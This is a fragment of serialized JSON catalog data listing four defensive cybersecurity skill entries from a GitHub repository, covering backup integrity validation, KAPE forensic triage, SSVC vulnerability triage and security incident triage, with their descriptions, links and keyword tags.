attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":165,"categories":166,"keywords":169,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[167,168],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},[155,170,171,172,37,45,173,174,42,175,176,177,178,179,180,181,182,183,184,185],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,45,197,198,199,200,201,202,203,204,205,206,207,34,152,208,209,210],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","collection","pecmd","artifact-collection",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[217],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},[219,220,221,45,222,223,224,225,226,227,228,229,230,231,232,233,32,234,235,236],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":244,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[243],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},[46,245,45,246,247,248,249,250,251,252,253,181,254,182,255,256,257,258,259,260],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]